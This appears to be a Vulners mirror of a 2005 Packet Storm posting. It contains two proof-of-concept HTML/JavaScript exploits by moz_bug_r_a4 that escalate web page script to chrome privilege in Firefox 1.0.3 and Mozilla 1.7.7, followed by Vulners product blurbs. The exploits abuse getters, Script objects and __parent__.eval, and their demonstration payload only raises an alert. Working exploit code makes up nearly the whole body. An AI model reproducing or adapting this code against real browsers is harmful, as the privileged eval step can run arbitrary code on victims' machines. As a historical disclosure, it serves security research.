Lucene search
K

firefoxSploit-2.txt

🗓️ 27 May 2005 00:00:00Reported by moz_bug_r_a4Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

Proof-of-Concept for Firefox 1.0.3 and Mozilla 1.7.7 by moz_bug_r_a4. Exploit code injected through script code to gain chrome privileg

Code
`<html>  
<head>  
<title>Proof-of-Concept for Firefox 1.0.3 - by moz_bug_r_a4</title>   
<body>  
<script>  
// it needs chrome privilege to get |Components.stack|  
var code = "alert('Exploit!\\n\\n' + Components.stack);";  
var evalCode = code.replace(/'/g, '"').replace(/\\/g, '\\\\');  
var scriptCode = "arguments.callee.__parent__.eval('" + evalCode + "');'';";  
  
var script = (function() {  
function x() { new Object(); }  
return new Script(scriptCode);  
})();  
  
document.body.__defineGetter__("type", function() {  
return { toString : script };  
});  
  
var event = document.createEvent("Events");  
event.initEvent("PluginNotFound", true, true);  
document.body.dispatchEvent(event);  
</script>  
</body>  
  
-----------------------------------------------------------------------------------------  
  
<html>  
<head>  
<title>Proof-of-Concept for Mozilla 1.7.7 - by moz_bug_r_a4</title>   
<body>  
  
<div id="d"></div>  
<pre>  
Click on the red box.  
</pre>  
  
<script>  
// it needs chrome privilege to get |Components.stack|  
var code = "alert('Exploit!\\n\\n' + Components.stack);";  
var evalCode = code.replace(/'/g, '"').replace(/\\/g, '\\\\');  
var scriptCode = "arguments.callee.__parent__.eval('" + evalCode + "');'';";  
  
var script = (function() {  
function x() { new Object(); }  
return new Script(scriptCode);  
})();  
  
var xulns = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul";  
var node = document.createElementNS(xulns, "input");  
  
node.__defineGetter__("type", function() {  
return { toString : script };  
});  
  
node.style.width = "100px";  
node.style.height = "100px";  
node.style.backgroundColor = "#f00";  
document.getElementById("d").appendChild(node);  
</script>  
</body>  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation